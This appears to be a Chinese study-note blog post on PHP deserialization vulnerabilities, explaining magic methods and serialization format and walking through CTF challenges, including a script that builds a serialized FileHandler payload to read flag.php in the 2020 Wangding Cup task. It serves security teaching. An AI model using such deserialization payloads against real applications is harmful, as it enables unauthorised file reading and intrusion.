【反序列化】---PHP&JAVA全解(上)---day37
【反序列化】---PHP&JAVA全解(上)---day37
一、思维导图
原理图:
二、PHP反序列化
1、原理
https://www.cnblogs.com/20175211lyz/p/11403397.html
2、构造函数和析构函数
3、__sleep()和__wakeup()
4、toString()
5、set(),get(),isset(),unset()
6、invoke(),call()
7、总结:
8、序列化格式
无类测试:
还原:
三、案例演示:
1、先搞一把PHP反序列化热身题-无类问题-本地
测试代码:
flag.php
<?php
$flag='I love xiaodi,ta xi huan chi xi gua '
?>
<?php
error_reporting(0);
include "flag.php";
$KEY = "xiaodi";
//传输 ?str=s:6:"xiaodi";
$str = $_GET['str'];
if (unserialize($str) === "$KEY"){
echo "$flag";
}
show_source(__FILE__);
//echo serialize($KEY);
本地测试:
2、再撸一把CTF反序列化小真题压压惊-无类执行-实例
靶场:bugku
思路:
但是flag没有显示,原因是上面的请求了Hint。看源代码中的if和elseif,是这里的原因。
但是删除了?hint=1111之后,再请求,发现还是不对。原因是代码执行顺序的问题。这又是一个坑。
所以我们传入Cookie的值应该为:
修改cookie
得到flag
3、然后抗一把CTF发序列化练习题围观下-有类魔术方法触发-本地
测试代码:
PHP中类的写法:
<?php
class ABC{
public $test;
function __construct(){
$test = 1;
echo '调用了构造函数<br>';
}
function __destruct(){
echo '调用了析构函数<br>';
}
function __wakeup(){
echo '调用了苏醒函数<br>';
}
}
echo '创建对象a<br>';
$a = new ABC;
echo '序列化<br>';
$a_ser=serialize($a);
echo '反序列化<br>';
$a_unser=unserialize($a_ser);
echo '对象快要死了!';
运行效果:
通过调用魔术方法来触发。
4、最后顶一把网鼎杯2020青龙大真题舒服下-有类魔术方法触发-实例
靶场:CTFHUB
①界面
②代码:
<?php
include("flag.php");
highlight_file(__FILE__);
class FileHandler {
protected $op;
protected $filename;
protected $content;
function __construct() {
$op = "1";
$filename = "/tmp/tmpfile";
$content = "Hello World!";
$this->process();
}
public function process() {
if($this->op == "1") {
$this->write();
} else if($this->op == "2") {
$res = $this->read();
$this->output($res);
} else {
$this->output("Bad Hacker!");
}
}
private function write() {
if(isset($this->filename) && isset($this->content)) {
if(strlen((string)$this->content) > 100) {
$this->output("Too long!");
die();
}
$res = file_put_contents($this->filename, $this->content);
if($res) $this->output("Successful!");
else $this->output("Failed!");
} else {
$this->output("Failed!");
}
}
private function read() {
$res = "";
if(isset($this->filename)) {
$res = file_get_contents($this->filename);
}
return $res;
}
private function output($s) {
echo "[Result]: <br>";
echo $s;
}
function __destruct() {
if($this->op === "2") //存在过滤
$this->op = "1";
$this->content = "";
$this->process();
}
}
function is_valid($s) {
for($i = 0; $i < strlen($s); $i++)
if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
return false;
return true;
}
if(isset($_GET{'str'})) {
$str = (string)$_GET['str'];
if(is_valid($str)) { //过滤
$obj = unserialize($str);
}
}
③思路:
- 首先:首先ctf命名及代码函数unserialize判断反序列化知识点
- 第一:获取flag存储flag.php
- 第二:两个魔术方法__destruct __ construct
- 第三:传输str参数数据后触发destruct,存在is_valid过滤
- 第四:__destruct中会调用process,其中op=1写入及op=2读取
- 第五:涉及对象FileHandler,变量op及filename,content,进行构造输出
④操作:
<?php
class FileHandler{
public $op=' 2'; //源码告诉我们op为1时候是执行写入,为2时候为执行读取。
public $filename="flag.php"; //文件开头调用的是flag.php
public $content="xd"; //这个无关紧要,随便输入就可以。
}
$flag = new FileHandler();
$flag_1 = serialize($flag);
echo $flag_1;
?>
使用GET方式提交就行了
查看页面源代码:找到flag
⑤反思:
<?php
$s='O:11:"FileHandler":3:{s:2:"op";s:2:" 2";s:8:"filename";s:8:"flag.php";s:7:"content";s:2:"xd";}';
var_dump(unserialize($s));
?>
输入反序列化的结果:
四、危害
SQL注入
具体危害还是要看魔术方法中实现了什么功能,调用了什么函数。